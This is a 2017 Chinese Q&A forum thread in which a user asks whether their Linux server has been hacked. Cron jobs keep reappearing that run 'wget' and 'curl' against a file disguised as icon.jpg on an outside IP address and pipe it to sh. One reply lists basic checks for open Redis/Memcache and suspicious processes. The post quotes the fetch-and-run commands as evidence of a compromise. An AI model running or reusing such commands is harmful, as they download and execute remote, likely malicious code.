pugrand123 2017-03-21 09:29 采纳率: 0%
浏览 2175
已结题

Linux服务器莫名自动加入两个定时任务,是不是被入侵了?

wget -O - -q http://45.32.159.84/html/icon.jpg|sh
curl http://45.32.159.84/html/icon.jpg|sh
crontab定时任务每十五分钟执行一次上面两个命令,删了后,隔不了多久去看又出来了。
求教各位大神是什么原因,是不是服务器被入侵了。

  • 写回答

1条回答 默认 最新

  • lumen.fun 2017-03-21 09:51
    关注

    如果想确认是否被入侵,可以按照下面步骤尝试检查一下:
    第一 查看防火墙配置是否有限制对外访问的端口
    第二个 查看一下是否安装了redis 或者是memcache 但是没有设置auth 密码或者是admin 密码,没有设置有被入侵可能
    第三个就是就是在终端输入ps aux 或者是top命令查看是否有异常的程序在运行,如果有找到相关的位置确认是否有问题

    评论

报告相同问题?

悬赏问题

  • ¥15 seatunnel-web使用SQL组件时候后台报错,无法找到表格
  • ¥15 fpga自动售货机数码管(相关搜索:数字时钟)
  • ¥15 用前端向数据库插入数据,通过debug发现数据能走到后端,但是放行之后就会提示错误
  • ¥30 3天&7天&&15天&销量如何统计同一行
  • ¥30 帮我写一段可以读取LD2450数据并计算距离的Arduino代码
  • ¥15 飞机曲面部件如机翼,壁板等具体的孔位模型
  • ¥15 vs2019中数据导出问题
  • ¥20 云服务Linux系统TCP-MSS值修改?
  • ¥20 关于#单片机#的问题:项目:使用模拟iic与ov2640通讯环境:F407问题:读取的ID号总是0xff,自己调了调发现在读从机数据时,SDA线上并未有信号变化(语言-c语言)
  • ¥20 怎么在stm32门禁成品上增加查询记录功能